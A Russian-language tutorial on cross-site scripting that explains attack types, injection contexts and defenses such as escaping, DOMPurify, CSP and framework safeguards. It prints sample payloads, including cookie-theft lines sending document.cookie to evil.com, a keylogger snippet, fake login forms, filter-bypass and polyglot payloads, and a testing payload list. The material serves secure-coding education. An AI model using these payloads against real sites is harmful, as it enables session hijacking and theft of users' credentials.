XSS-атаки и защита от них

XSS (Cross-Site Scripting) — класс уязвимостей, при котором злоумышленник внедряет вредоносный JavaScript-код в веб-приложение, а затем этот код выполняется в браузере других пользователей.

Основная причина возникновения XSS — отсутствие корректной фильтрации и экранирования пользовательских данных перед их выводом в HTML-документ.

Типичная схема атаки:

  1. Пользователь вводит данные.
  2. Сервер сохраняет или сразу отображает их.
  3. Приложение вставляет данные в HTML без защиты.
  4. Браузер интерпретирует данные как JavaScript.

Пример опасного кода:

<div>
  Привет, <script>alert('XSS')</script>
</div>

Браузер не воспринимает содержимое как текст. Тег <script> выполняется немедленно.


Последствия XSS-атак

XSS считается одной из наиболее опасных веб-уязвимостей из-за возможности полного захвата пользовательской сессии.

Кража cookies

fetch('https://evil.com/steal?cookie=' + document.cookie)

Если cookies не защищены флагом HttpOnly, злоумышленник получает токены авторизации.


Захват пользовательской сессии

После кражи session-id злоумышленник может:

  • войти под чужим аккаунтом;
  • выполнять действия от имени пользователя;
  • изменять данные;
  • получать конфиденциальную информацию.

Подмена интерфейса

Вредоносный скрипт способен изменять DOM:

document.body.innerHTML = `
  <form>
    <input placeholder="Пароль">
  </form>
`

Так создаются фальшивые формы авторизации.


Кейлоггеры

document.addEventListener('keydown', e => {
  fetch('/log?key=' + e.key)
})

Вредоносный код может перехватывать вводимые данные.


Выполнение запросов от имени пользователя

fetch('/api/delete-account', {
  method: 'POST',
  credentials: 'include'
})

Даже CSRF-защита иногда оказывается бесполезной, если запрос отправляется из доверенного контекста.


Основные типы XSS

Reflected XSS

Вредоносный код приходит в HTTP-запросе и сразу отображается в ответе сервера.

Пример:

const query = location.search
document.body.innerHTML = query

URL:

https://site.com/?q=<script>alert(1)</script>

Скрипт выполнится сразу после открытия ссылки.


Stored XSS

Вредоносный код сохраняется в базе данных и затем отображается другим пользователям.

Наиболее опасный тип XSS.

Источники:

  • комментарии;
  • профили пользователей;
  • чаты;
  • форумы;
  • CMS;
  • тикет-системы.

Пример:

<script>
fetch('https://evil.com?c=' + document.cookie)
</script>

Если приложение сохраняет этот код без фильтрации, атака становится массовой.


DOM-based XSS

Уязвимость возникает полностью на стороне клиента.

Опасный пример:

const hash = location.hash
document.body.innerHTML = hash

URL:

https://site.com/#<img src=x oner ror=alert(1)>

Сервер вообще не участвует в атаке.


Контексты возникновения XSS

XSS зависит не только от данных, но и от места их вставки.

HTML-контекст

Опасный код:

element.innerHTML = userInput

Безопасный вариант:

element.textContent = userInput

Контекст HTML-атрибутов

Опасный пример:

<input value="{{userInput}}">

Атакующий может закрыть атрибут:

" autofocus onfo cus="alert(1)

Результат:

<input value="" autofocus onfo cus="alert(1)">

JavaScript-контекст

Особенно опасна вставка данных внутрь скриптов:

<script>
  const name = "{{userInput}}"
</script>

Payload:

"; alert(1); //

Результат:

<script>
  const name = ""; alert(1); //
</script>

URL-контекст

<a href="{{url}}">

Payload:

jav * ascript:alert(1)

CSS-контекст

Редко встречается, но возможен:

<div style="{{userStyles}}">

Старые браузеры позволяли выполнять JavaScript через CSS-конструкции.


Источники пользовательских данных

Любые внешние данные потенциально опасны.

URL-параметры

location.search

Хэш URL

location.hash

Формы

req.body

Заголовки HTTP

req.headers.referer

Cookies

document.cookie

WebSocket-сообщения

socket.onmessage

Данные из API

Даже внутренний API нельзя считать безопасным.


Опасные методы DOM

innerHTML

Главный источник DOM-XSS.

container.innerHTML = userInput

outerHTML

element.outerHTML = data

insertAdjacentHTML

div.insertAdjacentHTML('beforeend', data)

document.write

document.write(data)

eval

eval(userInput)

setTimeout со строкой

setTimeout(userInput, 1000)

Function constructor

new Function(userInput)

Безопасные альтернативы

textContent

element.textContent = userInput

Браузер интерпретирует данные только как текст.


createElement

const div = document.createElement('div')
div.textContent = userInput

setAttribute

img.setAttribute('alt', userInput)

Важно учитывать тип атрибута. Для href и src требуется дополнительная проверка.


Экранирование данных

HTML-экранирование

Спецсимволы заменяются HTML-сущностями.

Опасные символы:

Символ Замена
< &lt;
> &gt;
" &quot;
' &#39;
& &amp;

Пример ручного экранирования

function escapeHtml(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;')
}

Санитизация HTML

Иногда HTML нужно разрешить частично.

Например:

  • <b>
  • <i>
  • <p>

Но запрещать:

  • <script>
  • onerror
  • onclick

DOMPurify

Популярная библиотека для очистки HTML.

Подключение:

<script src="https://unpkg.com/dompurify/dist/purify.min.js"></script>

Использование:

const clean = DOMPurify.sanitize(userHtml)

container.innerHTML = clean

Настройка разрешённых тегов

DOMPurify.sanitize(input, {
  ALLOWED_TAGS: ['b', 'i', 'p']
})

Content Security Policy (CSP)

CSP — механизм браузерной защиты, ограничивающий выполнение скриптов.

Пример заголовка:

Content-Security-Policy:
default-src 'self';
script-src 'self';

Запрет inline-скриптов

CSP блокирует:

<script>alert(1)</script>

И обработчики:

<button oncl ick="alert(1)">

nonce

Безопасное разрешение отдельных скриптов:

<script nonce="abc123">

CSP:

script-src 'nonce-abc123'

hash-based CSP

script-src 'sha256-...'

Разрешаются только скрипты с указанным хэшем.


HttpOnly cookies

Флаг запрещает JavaScript-доступ к cookies.

Set-Cookie: session=abc123; HttpOnly

Теперь:

document.cookie

не сможет прочитать session-cookie.


SameSite cookies

Дополнительная защита:

Set-Cookie: session=abc; SameSite=Lax

Уменьшает риск CSRF и некоторых XSS-сценариев.


Защита в React

React автоматически экранирует данные.

Безопасный пример:

<div>{userInput}</div>

React преобразует HTML в текст.


Опасность dangerouslySetInnerHTML

<div dangerouslySetInnerHTML={{
  __html: userInput
}} />

При использовании требуется обязательная санитизация.


Санитизация в React

import DOMPurify from 'dompurify'

const clean = DOMPurify.sanitize(userHtml)

Защита в Vue

Vue экранирует данные в шаблонах:

<div>{{ userInput }}</div>

Опасность v-html

<div v-html="userInput"></div>

v-html вставляет сырой HTML.


Защита в Angular

Angular автоматически очищает HTML.

Опасный код:

<div [innerHTML]="userHtml"></div>

Angular выполняет встроенную санитизацию.


bypassSecurityTrustHtml

Крайне опасный метод:

sanitizer.bypassSecurityTrustHtml(data)

Отключает встроенную защиту Angular.


Шаблонизаторы и XSS

Handlebars

Безопасно:

{{userInput}}

Опасно:

{{{userInput}}}

Тройные фигурные скобки отключают экранирование.


EJS

Безопасный вывод:

<%= userInput %>

Опасный вывод:

<%- userInput %>

MIME sniffing и XSS

Некоторые браузеры пытаются угадать тип контента.

Защита:

X-Content-Type-Options: nosniff

XSS через SVG

SVG поддерживает JavaScript.

Опасный пример:

<svg onl oad="alert(1)">

SVG необходимо санитизировать так же строго, как HTML.


Mutation XSS

Иногда браузер сам преобразует HTML в опасную структуру.

Пример:

<math><mi//xlink:href="dat a:x,<script>alert(1)</script>">

После парсинга DOM может измениться.


Polyglot payloads

Payload может работать сразу в нескольких контекстах:

jav * ascript:/*--></title></style></textarea></script></xmp>
<svg/onl oad=alert(1)>

Подобные конструкции используются для обхода фильтров.


Обход фильтрации

Кодирование символов

&#x3C;script&#x3E;

Unicode-обходы

\u003cscript\u003e

Разрыв слов

<scr<script>ipt>

Trusted Types

Современный механизм защиты DOM.

Пример CSP:

Content-Security-Policy:
require-trusted-types-for 'script';

Теперь опасные операции:

element.innerHTML = data

будут запрещены без Trusted Types policy.


Создание Trusted Types policy

const policy = trustedTypes.createPolicy('default', {
  createHTML: input => DOMPurify.sanitize(input)
})

Проверка URL

Опасно:

link.href = userInput

Нужно проверять протокол:

const url = new URL(userInput)

if (url.protocol === 'https:') {
  link.href = url
}

Проверка файловых загрузок

HTML-файл способен содержать JavaScript.

Опасные расширения:

  • .html
  • .svg
  • .xml

Необходимо:

  • проверять MIME;
  • менять имя файла;
  • хранить файлы вне web-root;
  • запрещать inline-открытие.

Автоматизированный поиск XSS

ESLint

Плагины безопасности:

npm install eslint-plugin-security

Semgrep

Поиск опасных конструкций:

semgrep --config=auto

OWASP ZAP

Сканер безопасности веб-приложений.

Позволяет автоматически искать XSS.


Ручное тестирование

Типичные payloads:

<script>alert(1)</script>
<img src=x oner ror=alert(1)>
<svg onl oad=alert(1)>
"><script>alert(1)</script>

Принципы безопасной разработки

Никогда не доверять пользовательским данным

Любые данные должны считаться потенциально вредоносными.


Использовать экранирование по контексту

HTML, URL, JavaScript и CSS требуют разных механизмов защиты.


Минимизировать использование innerHTML

Предпочтение следует отдавать:

  • textContent
  • createElement
  • шаблонным механизмам фреймворков

Использовать CSP

Даже при наличии XSS CSP значительно снижает ущерб.


Обновлять зависимости

Уязвимости часто появляются в:

  • npm-пакетах;
  • WYSIWYG-редакторах;
  • markdown-парсерах;
  • шаблонизаторах.

Выполнять санитизацию на сервере и клиенте

Клиентская защита может быть обойдена.


Использовать современные фреймворки

React, Vue и Angular существенно снижают риск XSS при корректном использовании.